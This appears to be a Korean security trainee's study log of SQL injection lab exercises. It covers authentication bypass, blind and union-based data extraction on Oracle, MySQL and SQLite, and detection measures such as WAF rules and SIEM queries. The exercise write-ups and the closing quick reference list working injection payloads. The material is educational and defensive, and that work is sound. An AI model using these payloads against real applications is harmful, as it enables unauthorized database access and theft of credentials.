📄 2026.01.28 (Day 65) - SQL Injection 공격 기법
1. 핵심 개념 정리
SQL Injection 기본 원리
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 1 | SQL Injection 정의 | 사용자 입력값을 통해 SQL 쿼리문을 조작하여 비정상적인 DB 접근을 시도하는 공격 기법 | 웹 애플리케이션 취약점 중 가장 위험도가 높은 공격 유형으로, OWASP Top 10에 지속적으로 포함됨 |
| 2 | 인증 우회 메커니즘 | 로그인 쿼리에 or ‘1’=‘1’ 같은 항상 참인 조건을 삽입하여 인증 로직을 무력화 | 실제 계정 정보 없이도 관리자 권한 탈취 가능 |
| 3 | 주석 처리 공격 | – 또는 /* */를 사용해 쿼리의 나머지 부분을 무효화 | 비밀번호 검증 로직을 완전히 우회할 수 있어 매우 위험 |
| 4 | 쿼리 구조 파악 | 에러 메시지와 응답 패턴을 분석하여 백엔드 쿼리 구조를 역추적 | 공격자는 반복적인 시도를 통해 DB 스키마를 점진적으로 파악 |
| 5 | DBMS별 문법 차이 | Oracle, MySQL, SQLite 등 각 DBMS마다 주석, 함수, 메타데이터 테이블이 상이함 | 공격 탐지 시 사용된 문법을 통해 공격자의 타겟 DBMS를 역추적 가능 |
Union-based SQL Injection
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 6 | Union 연산자 활용 | 정상 쿼리 결과와 공격 쿼리 결과를 합쳐서 출력 | 실무에서는 0.1% 수준으로 낮지만, 성공 시 대량의 데이터 탈취 가능 |
| 7 | 컬럼 개수 매칭 | ORDER BY 절을 이용해 원본 쿼리의 컬럼 개수를 파악 후, 동일한 개수로 Union 쿼리 구성 | 컬럼 개수 불일치 시 ORA-01789 에러 발생 |
| 8 | 자료형 일치 요구사항 | Oracle은 대응 컬럼의 자료형이 정확히 일치해야 하며, null로 시작해 하나씩 자료형 테스트 | MySQL은 자료형 검증이 느슨하나 Oracle은 엄격함 (ORA-01790 에러) |
| 9 | 메타데이터 테이블 활용 | user_tables, user_tab_columns (Oracle) 또는 information_schema.tables (MySQL)를 통해 DB 구조 파악 | 메타데이터 접근 권한이 있는 경우 전체 DB 스키마 노출 위험 |
| 10 | 단계적 데이터 탈취 | 테이블명 -> 컬럼명 -> 실제 데이터 순으로 점진적 정보 수집 | 각 단계마다 로그에 흔적이 남으므로 SIEM에서 연속된 패턴 탐지 가능 |
Blind SQL Injection
| # | 핵심 개념 | 설명 | 실무/보안 관점 |
|---|---|---|---|
| 11 | Blind SQL Injection 정의 | 쿼리 결과가 화면에 직접 출력되지 않고, 참/거짓 또는 응답 시간 차이만 확인 가능한 환경에서의 공격 | 실무에서 가장 흔하게 발생하는 SQL Injection 유형 |
| 12 | Boolean-based Blind | 조건의 참/거짓에 따라 화면 출력이 달라지는 것을 이용 | 게시물 표시 여부, 로그인 성공/실패 메시지 차이 등을 활용 |
| 13 | 이진 탐색 기법 | ASCII 코드 비교를 통해 한 글자씩 데이터 추출 | 효율적인 데이터 추출을 위해 이진 탐색 알고리즘 사용 |
| 14 | length() 함수 활용 | 데이터의 길이를 먼저 파악한 후 한 글자씩 추출 | 추출할 데이터의 범위를 미리 알아야 효율적 |
| 15 | substr() 함수 활용 | 문자열의 특정 위치 문자를 추출하여 ASCII 코드로 비교 | Oracle: substr(), MySQL: substring(), SQLite: substr() |
2. 실습 내용 정리
실습 63-1: Oracle SQL Injection - 주석을 이용한 인증 우회 (문제 2번)
목표: 주석 문자를 활용하여 비밀번호 검증 로직을 무력화하고 로그인 인증 우회
제약사항: and, or 키워드 필터링 존재
공격 과정:
- 쿼리문 유추: SELECT * FROM users WHERE loginId = ‘입력값’ AND pass = ‘입력값2’
- and, or 필터링 -> 주석 문자 사용 가능 여부 확인
- 아이디 입력: z_answer@eqst3.com’–
- 실제 실행 쿼리: SELECT * FROM users WHERE loginId = ‘z_answer@eqst3.com’–’ AND pass = ‘입력값2’
- – 이후가 주석 처리되어 password 체크 무시됨 -> 로그인 성공
- 정답: exam_answer_complete
공격 메커니즘:
- Oracle의 주석 문자 –를 입력값에 삽입
- – 뒤의 모든 쿼리가 주석 처리되어 실행되지 않음
- AND pass = ‘입력값2’ 부분이 무효화되어 비밀번호 검증 우회
보안 인사이트:
- 특정 키워드만 필터링하는 블랙리스트 방식은 우회가 쉬움
- 주석 문자(–, #, /* */)도 반드시 필터링 대상에 포함해야 함
- 근본적 해결책은 Prepared Statement 사용
실습 63-2: Oracle SQL Injection - OR 조건을 이용한 인증 우회 (문제 3번)
목표: 주석이 차단된 환경에서 OR 논리 연산자를 활용한 인증 우회
제약사항: 주석 문자(–, /*, #) 필터링
공격 과정:
- 쿼리문 유추: SELECT * FROM users WHERE loginId = ‘입력값’ AND pass = ‘입력값2’
- 주석 문자 차단 확인 -> OR 조건 논리 우회 시도
- 아이디 입력: z_answer@eqst3.com’ or ‘1’ =‘2
- 실제 실행 쿼리: SELECT * FROM users WHERE loginId = ‘z_answer@eqst3.com’ or ‘1’ = ‘2’ AND pass = ‘입력값’
- AND가 OR보다 우선순위 높으므로: loginId = ‘z_answer@eqst3.com’ OR (‘1’ = ‘2’ AND pass = ‘입력값’) -> 참 OR 거짓 -> 최종 결과: 참
- 정답: eqst_anwerexam
SQL 논리 연산자 우선순위:
- 우선순위 순서 (높은 순): 괄호 () -> NOT -> AND -> OR
- WHERE A OR B AND C -> WHERE A OR (B AND C)로 평가됨
보안 고려사항:
- 입력값에 ’ or ’ 패턴 포함 탐지 필요
- WAF에서 ’ or ’ 패턴 탐지 및 차단
실습 63-3: Oracle Blind SQL Injection - Boolean-based (문제 4번)
목표: 게시판 검색 기능을 이용하여 Blind SQL Injection으로 DB 사용자명 추출
쿼리 구조: SELECT 제목, 내용, 작성자, 날짜 FROM 게시판 WHERE 제목 LIKE ‘%검색어%’
조건: 쿼리 결과가 화면에 직접 노출되지 않음 (게시물 표시 여부만 확인 가능)
공격 과정:
-
DB 사용자명 길이 확인
- 검색어: test%’ and length(user)=4 and ‘1%’=‘1 -> 게시물 표시됨 -> user 길이 4글자
-
첫 번째 글자 추출 (이진 탐색)
- test%’ and (select ascii(substr(user,1,1)) from dual) > 83 and ‘1%’=‘1 -> 게시물 표시 안됨 -> 83 이하
- test%’ and (select ascii(substr(user,1,1)) from dual) > 73 and ‘1%’=‘1 -> 게시물 표시됨 -> 73보다 큼
- test%’ and (select ascii(substr(user,1,1)) from dual) = 73 and ‘1%’=‘1 -> 게시물 표시됨 -> 첫 글자 ‘I’ (ASCII 73)
-
두 번째 글자: 이진 탐색 반복 -> ‘N’ (ASCII 78)
-
세 번째 글자: ‘F’ (ASCII 70)
-
네 번째 글자: ‘6’ (ASCII 54)
-
최종 결과: user = INF6
Blind SQL Injection 원리:
- 쿼리 결과가 직접 출력되지 않으므로 참/거짓 차이를 활용
- length() 함수로 데이터 길이를 먼저 파악
- substr()로 한 글자씩 추출하고 ascii()로 ASCII 코드 값 비교
- 이진 탐색으로 효율적으로 각 글자의 ASCII 값 특정
이진 탐색 알고리즘:
- ASCII 코드 범위: 0 ~ 127
- 1단계: 중간값 64와 비교 -> 64보다 크면 범위 65~127
- 2단계: 새로운 중간값 96과 비교 -> 계속 절반씩 좁혀 감
- 효율성: 127개 문자를 최대 7번 비교로 특정 가능 (log2(127) ≈ 7)
실습 63-4: Oracle Union SQL Injection - 테이블 및 데이터 탈취 (문제 10번)
목표: Union 연산자를 이용하여 시스템 테이블 조회 후 특정 테이블의 데이터 탈취
쿼리 구조: SELECT 우편번호, 시, 구, 동, 기타 FROM 주소 WHERE 주소 LIKE ‘%검색어%’ (5개 컬럼)
공격 과정:
-
컬럼 개수 확인
- 삼성동%’ order by 5 – (성공)
- 삼성동%’ order by 6 – (에러 발생) -> 컬럼 개수: 5개
-
Union 테스트 및 자료형 확인
- 삼성동%’ union select ‘ㄱ’,‘ㄴ’,‘ㄷ’,‘ㄹ’,‘ㅁ’ from dual where ‘q%’=‘q -> 모두 문자형 확인
-
테이블명 탈취
- 삼성동%’ union select table_name,null,null,null,null from user_tables where ‘q%’=‘q
- 결과: MEMBER, SQL_UNION_ANSWER, ADDRESS, …
-
SQL_UNION_ANSWER 테이블의 컬럼명 탈취
- 삼성동%’ union select column_name,null,null,null,null from user_tab_columns where table_name=‘SQL_UNION_ANSWER’ and ‘q%’=‘q
- 결과: ANSWER_COLUMN, REG_ACCT_ID, REG_DT, …
-
데이터 탈취
- 삼성동%’ union select ANSWER_COLUMN,null,null,null,null from SQL_UNION_ANSWER where ‘q%’=‘q
- 결과: this_is_perfect_answer
Union 제약사항:
- 컬럼 개수 일치: ORDER BY로 원본 쿼리 컬럼 개수 파악 후 동일 개수로 구성
- 자료형 일치 (Oracle은 엄격): null 값으로 테스트 후 문자형/숫자형/날짜형 순차 테스트
- 메타데이터 접근 권한: user_tables(사용자 소유), all_tables(접근 가능 전체)
실습 63-5: MySQL Union SQL Injection - information_schema 활용 (문제 10번)
목표: MySQL의 information_schema를 활용하여 테이블 구조 파악 후 데이터 탈취
공격 과정:
- 컬럼 개수 확인: test%’ order by 5 # (성공) / test%’ order by 6 # (에러) -> 컬럼 5개
- Union 테스트 (존재하지 않는 값으로 검색): abcde%’ union select ‘1’,‘2’,‘3’,‘4’,‘5’ #
- 테이블명 탈취: abcde%’ union select table_name,‘2’,‘3’,‘4’,‘5’ from information_schema.tables where table_schema=database() #
- 결과: address, union_answer, members, …
- union_answer 테이블 컬럼명 탈취: 검색어에 information_schema.columns where table_name=‘union_answer’ 추가
- 결과: id, answer_column, created_at, …
- 데이터 탈취: abcde%’ union select answer_column,‘2’,‘3’,‘4’,‘5’ from union_answer #
- 결과: this_is_answer_answer
MySQL vs Oracle 차이점:
- 메타데이터: Oracle -> user_tables, user_tab_columns / MySQL -> information_schema.tables, information_schema.columns
- 주석: Oracle -> – 및 /* / / MySQL -> –, #(%23), / */
- 자료형 검증: Oracle -> 엄격 (ORA-01790) / MySQL -> 느슨 (자동 형변환)
- database() 함수: 현재 사용 중인 데이터베이스명 반환
실습 63-6: SQLite Union SQL Injection - sqlite_master 활용
목표: SQLite의 sqlite_master 시스템 테이블을 이용한 DB 스키마 파악 및 관리자 계정 탈취
공격 과정:
- 공격 포인트 파악: ’ 입력 -> 에러 발생 -> SQL Injection 취약점 확인
- 컬럼 개수 확인: ’ ORDER BY 5– (정상) / ’ ORDER BY 6– (에러) -> 컬럼 5개
- sqlite_master로 테이블명 탈취
- ’ UNION SELECT 1,2,3,4,tbl_name FROM sqlite_master WHERE type=‘table’–
- 결과: member, profile, sqlite_sequence
- member 테이블 CREATE 문 확인 (컬럼명 파악)
- ’ UNION SELECT 1,2,3,4,sql FROM sqlite_master WHERE type=‘table’ AND tbl_name=‘member’–
- 결과: CREATE TABLE “member” ( idx INTEGER, id INTEGER UNIQUE, name INTEGER, password INTEGER, PRIMARY KEY(“idx” AUTOINCREMENT) )
- 관리자 계정 데이터 탈취
- ’ UNION SELECT id, password, name, idx, 5 FROM member–
- 결과: admin / passw0rd
sqlite_master 테이블 구조:
- type: 객체 타입 (table, index, view 등)
- name: 객체 이름
- tbl_name: 테이블 이름
- rootpage: 루트 페이지 번호
- sql: CREATE 문 전체
특징: SQLite는 모든 스키마 정보를 sqlite_master에 저장, 한 번의 쿼리로 전체 DB 구조 파악 가능, sql 컬럼에서 CREATE TABLE 문을 그대로 확인 가능
3. DBMS별 SQL Injection 비교표
Oracle vs MySQL vs SQLite 차이점
| 항목 | Oracle | MySQL | SQLite | 보안 분석가 관점 |
|---|---|---|---|---|
| 주석 처리 | – (공백 필요), /* */ | – (공백 필요), #, /* */ | – (공백 필요), /* */ | MySQL의 # 주석은 URL 인코딩(%23) 문제로 탐지 회피에 자주 사용됨 |
| 메타데이터 조회 | user_tables, user_tab_columns, all_tables | information_schema.tables, information_schema.columns | sqlite_master (모든 스키마 한 번에 노출) | SQLite는 단 하나의 쿼리로 전체 DB 구조 파악 가능 |
| 자료형 검증 | 매우 엄격 (ORA-01790 에러) | 상대적으로 느슨 (자동 형변환) | 동적 타이핑 (타입 불일치 허용) | Oracle 환경에서는 자료형 테스트가 필수적이며, 로그에 명확히 남음 |
| 행 제한 구문 | ROWNUM = 1 | LIMIT 1 | LIMIT 1 | Blind SQL Injection에서 단일 행 추출을 위해 필수적으로 사용됨 |
| 문자열 결합 | 두 수직바 또는 CONCAT | CONCAT 또는 두 수직바 (MySQL 8.0+) | 두 수직바 | 여러 컬럼을 하나로 합쳐 추출할 때 사용 |
SQL Injection 공격 유형별 특징
| 공격 유형 | 탐지 난이도 | 데이터 추출 속도 | 필요 조건 | 실무 적용 빈도 |
|---|---|---|---|---|
| Union-based | 중간 | 빠름 (한 번에 대량 추출) | 쿼리 결과가 화면에 출력되어야 함 | 0.1% (최근 감소 추세) |
| Blind SQL Injection | 높음 | 매우 느림 (참/거짓 판별만 가능) | 응답 차이만 확인 가능 | 높음 (실무에서 가장 흔함) |
| Error-based | 낮음 | 느림 (한 번에 하나씩) | 에러 메시지가 상세히 노출되어야 함 | 에러 메시지 노출 설정이 여전히 많아 유효 |
| Time-based | 매우 높음 | 매우 느림 | 응답 시간 차이로만 판별 | 높음 (완전히 Blind 환경에서 사용) |
4. 심화 분석
SQL Injection 공격 단계별 상세 분석
| 구분 | 탐지 및 정찰 | 쿼리 구조 파악 | 데이터 추출 | 보안 분석 포인트 |
|---|---|---|---|---|
| 1단계 | 입력란에 ‘, “, ) 등 특수문자 입력 | 에러 메시지 또는 응답 차이 분석 | 성공적인 공격 벡터 확정 | WAF 우회 시도 패턴, 반복적인 에러 유발 |
| 2단계 | SQL 키워드 삽입 (and, or, union) | 주석 처리로 나머지 쿼리 무효화 | 컬럼 개수 및 자료형 파악 | ORDER BY, null 값 연속 시도 로그 |
| 3단계 | 항상 참인 조건 삽입 (‘1’=‘1’) | 메타데이터 테이블 접근 시도 | 테이블명 및 컬럼명 탈취 | user_tables, information_schema, sqlite_master 조회 로그 |
| 4단계 | Union 또는 Blind 기법 선택 | 타겟 테이블 및 컬럼 선정 | 실제 민감 데이터 추출 | 비정상적으로 많은 행 반환 또는 특정 계정 반복 조회 |
5. 실무/보안 적용
보안 전문가 관점 - SQL Injection 탐지 및 대응
| 단계/유형 | 탐지 포인트 | 로그 예시 | 대응 방안 |
|---|---|---|---|
| 초기 탐지 | 입력란에 특수문자 포함, SQL 키워드 연속 출현, 주석 기호 포함 | GET /search?q=test%27+union+select | WAF Rule 업데이트로 SQL 키워드 패턴 차단, 입력값 길이 및 특수문자 제한, Rate Limiting으로 반복 시도 차단 |
| 메타데이터 접근 | user_tables, information_schema 조회, sqlite_master 접근, 시스템 함수 호출 | SELECT table_name FROM user_tables | DB 계정 권한 최소화, 시스템 스키마 함수 실행 권한 제거, SIEM에서 메타데이터 조회 알림 생성 |
| Blind SQL Injection | 동일 IP에서 유사 쿼리 반복, length/substr/ascii 패턴, 이진 탐색 패턴 | test%27+and+length(user)=4 반복 횟수 20~50회 | 동일 IP의 반복 요청 탐지, 이진 탐색 패턴 인식, Rate Limiting 강화, CAPTCHA 도입 |
| 데이터 탈취 시도 | 단일 요청에서 수백~수천 행 반환, 민감 테이블 반복 조회, Union으로 메타데이터와 실제 데이터 동시 조회 | SELECT … UNION SELECT id, pw FROM member | 즉시 해당 세션 차단, IP 블랙리스트 등록, 침해사고 대응팀 즉시 알림 |
WAF 및 IPS 룰셋 예시
ModSecurity WAF Rule 주요 항목:
- Rule 1: SQL Injection 키워드 탐지 (union, select, insert, update, delete, drop, alter, create, exec)
- Rule 2: 주석 기호 탐지 (–, #, /*, */)
- Rule 3: 메타데이터 테이블 접근 탐지 (information_schema, user_tables, user_tab_columns, sqlite_master)
- Rule 4: Blind SQL Injection 함수 탐지 (length, substr, substring, ascii, char, ord)
- Rule 5: 과도하게 긴 입력값 차단 (200자 초과)
- Rule 6: 항상 참인 조건 탐지 (‘1’=‘1’, ‘q’=‘q’, 1=1)
SIEM 탐지 룰 예시 (Splunk SPL)
Blind SQL Injection 이진 탐색 패턴 탐지:
- index=web_logs에서 uri 필드에서 length, substr, ascii 함수명 추출
- src_ip별 count > 10인 경우 severity=“high"로 알림
Union SQL Injection 시도 탐지:
- index=web_logs에서 uri 필드에서 union.*select 패턴 매칭
- src_ip별 count > 3인 경우 severity=“critical"로 알림
6. 배운 점 및 인사이트
새로 알게 된 점
- Blind SQL Injection의 실전 활용: 쿼리 결과가 직접 노출되지 않는 환경에서도 참/거짓 차이를 이용해 데이터를 추출할 수 있다는 점을 직접 실습으로 확인했습니다. 특히 이진 탐색 알고리즘을 활용하면 효율적으로 데이터를 추출할 수 있음을 깨달았습니다.
- DBMS별 메타데이터 접근 방법: Oracle의 user_tables, MySQL의 information_schema, SQLite의 sqlite_master가 각각 다른 방식으로 DB 구조를 노출한다는 점을 이해했습니다. 특히 SQLite는 한 번의 쿼리로 전체 스키마를 파악할 수 있어 보안상 매우 위험함을 알았습니다.
- SQL 연산자 우선순위의 중요성: AND가 OR보다 우선순위가 높다는 점을 악용하여 인증을 우회할 수 있다는 점이 인상 깊었습니다.
- 필터링 우회 기법: and, or 키워드가 필터링되어도 주석 문자나 논리 연산자 우선순위를 이용해 우회할 수 있다는 점을 배웠습니다. 블랙리스트 방식 필터링의 한계를 명확히 이해했습니다.
- 이진 탐색의 효율성: ASCII 코드를 하나씩 비교하는 것보다 이진 탐색을 사용하면 log2(127) ≈ 7번의 비교로 문자를 특정할 수 있어 훨씬 효율적임을 확인했습니다.
이전 학습과의 연결고리
- Day 64 웹 보안 기초와 연계: 기본 SQL Injection 개념을 바탕으로 Union-based, Blind 등 고급 기법으로 확장할 수 있었습니다.
- SIEM 로그 분석 관점 추가: Wazuh, Splunk에서 Blind SQL Injection 패턴을 탐지하려면 동일 IP의 반복 요청, length/substr/ascii 함수 사용 패턴을 찾아야 함을 알게 되었습니다.
- 침해사고 대응 시나리오 구체화: SQL Injection 탐지 시 초기 대응 절차(세션 차단 -> IP 블랙리스트 -> 침해 범위 분석)를 더욱 구체적으로 수립할 수 있게 되었습니다.
실무 적용 아이디어
보안 전문가 관점:
- SIEM 고급 탐지 룰 작성: Blind SQL Injection의 이진 탐색 패턴(동일 IP에서 > 연산자를 이용한 반복 요청)을 탐지하는 Custom Rule을 작성할 수 있겠습니다.
- 침해사고 대응 플레이북 업데이트: SQL Injection 유형별(Union-based, Blind, Error-based) 대응 절차를 세분화하여 매뉴얼에 반영해야겠습니다.
- 정기 취약점 점검 강화: 웹 애플리케이션의 모든 검색 기능에 대해 Blind SQL Injection 테스트를 추가로 수행하고, 참/거짓 응답 차이를 최소화하는 개선안을 제시할 수 있겠습니다.
7. Quick Reference
SQL Injection 공격 페이로드 모음
기본 인증 우회:
- ’ or ‘1’=‘1’ –
- admin’ –
- admin’ #
OR 조건 우회 (주석 차단 시):
- z_answer@eqst.com’ or ‘1’ =‘2
- z_answer@eqst.com’ or ‘a’ =‘b
Union SQL Injection 컬럼 개수 파악:
- ’ order by 1 –
- ’ order by 5 – (성공)
- ’ order by 6 – (에러 발생 시 컬럼 수 = 에러 직전 값)
Oracle 메타데이터 조회:
- union select table_name,null,null,null,null from user_tables where ‘q%’=‘q
- union select column_name,null,null,null,null from user_tab_columns where table_name=‘테이블명’ and ‘q%’=‘q
MySQL 메타데이터 조회:
- union select table_name,‘2’,‘3’,‘4’,‘5’ from information_schema.tables where table_schema=database() #
- union select column_name,‘2’,‘3’,‘4’,‘5’ from information_schema.columns where table_name=‘테이블명’ #
SQLite 메타데이터 조회:
- UNION SELECT 1,2,3,4,tbl_name FROM sqlite_master WHERE type=‘table’–
- UNION SELECT 1,2,3,4,sql FROM sqlite_master WHERE type=‘table’ AND tbl_name=‘테이블명’–
Blind SQL Injection (Oracle):
- test%’ and length(user)=4 and ‘1%’=‘1
- test%’ and (select ascii(substr(user,1,1)) from dual) > 83 and ‘1%’=‘1
- test%’ and (select ascii(substr(user,1,1)) from dual) = 73 and ‘1%’=‘1
DBMS별 핵심 차이점 요약표
| 구분 | Oracle | MySQL | SQLite | 실무 탐지 키워드 |
|---|---|---|---|---|
| 메타데이터 | user_tables, user_tab_columns | information_schema.tables | sqlite_master | 로그에서 이 키워드 탐지 시 즉시 알림 |
| 주석 | –, /* */ | –, #, /* */ | –, /* */ | URL에 %23 (#인코딩) 포함 시 의심 |
| 자료형 검증 | 엄격 | 느슨 | 매우 느슨 | Oracle은 ORA-01790 에러 빈발 |
| 행 제한 | ROWNUM | LIMIT | LIMIT | Blind SQL Injection에서 단일 행 추출 용도 |
| Blind 함수 | length(), substr(), ascii() | length(), substring(), ascii() | length(), substr(), unicode() | 반복 사용 시 Blind SQL Injection 의심 |
8. 트러블슈팅
| 문제 | 원인 | 해결 방법 |
|---|---|---|
| Union 쿼리 실행 시 ORA-01789 에러 | 컬럼 개수 불일치 | ORDER BY 절로 원본 쿼리의 컬럼 개수 정확히 파악, Union 쿼리 SELECT 항목 개수를 원본과 동일하게 맞춤, null 값으로 부족한 컬럼 채우기 |
| Union 쿼리 실행 시 ORA-01790 에러 | 자료형 불일치 | 모든 컬럼을 null로 설정하여 실행, 하나씩 문자형/숫자형/날짜형으로 변경하며 테스트, MySQL은 자료형 검증이 느슨하므로 Oracle보다 수월 |
| Blind SQL Injection 시 응답 차이 없음 | 참/거짓 응답이 동일하게 처리됨 | 다른 응답 차이 확인 (페이지 크기, 응답 시간 등), Time-based SQL Injection으로 전환, 다른 입력란에서 시도 |
| SQLite에서 테이블 구조 파악 어려움 | 메타데이터 조회 방법 모름 | sqlite_master 테이블의 sql 컬럼 조회, 한 번의 쿼리로 전체 CREATE TABLE 구문 확인 가능 |
| Blind SQL Injection이 너무 느림 | 한 글자씩 순차적으로 비교 | 이진 탐색 알고리즘 사용, 자동화 스크립트 작성, 병렬 처리로 여러 글자 동시 추출 |
Today’s Insight:
SQL Injection은 단순한 키워드 삽입 공격이 아니라, 데이터베이스의 동작 원리와 쿼리 문법을 정확히 이해해야 성공할 수 있는 고도화된 기법입니다. 특히 오늘 학습한 Blind SQL Injection은 쿼리 결과가 직접 노출되지 않는 환경에서도 참/거짓 차이만으로 데이터를 추출할 수 있다는 점에서 매우 위협적입니다. 이진 탐색 알고리즘을 활용하면 효율적으로 데이터를 추출할 수 있으며, 이는 공격자 관점에서도 방어자 관점에서도 중요한 지식입니다. 보안 전문가로서 가장 중요한 교훈은 ‘사용자 입력값을 절대 신뢰하지 말라’와 ‘Prepared Statement 사용만으로 대부분의 SQL Injection을 차단할 수 있다’는 점입니다.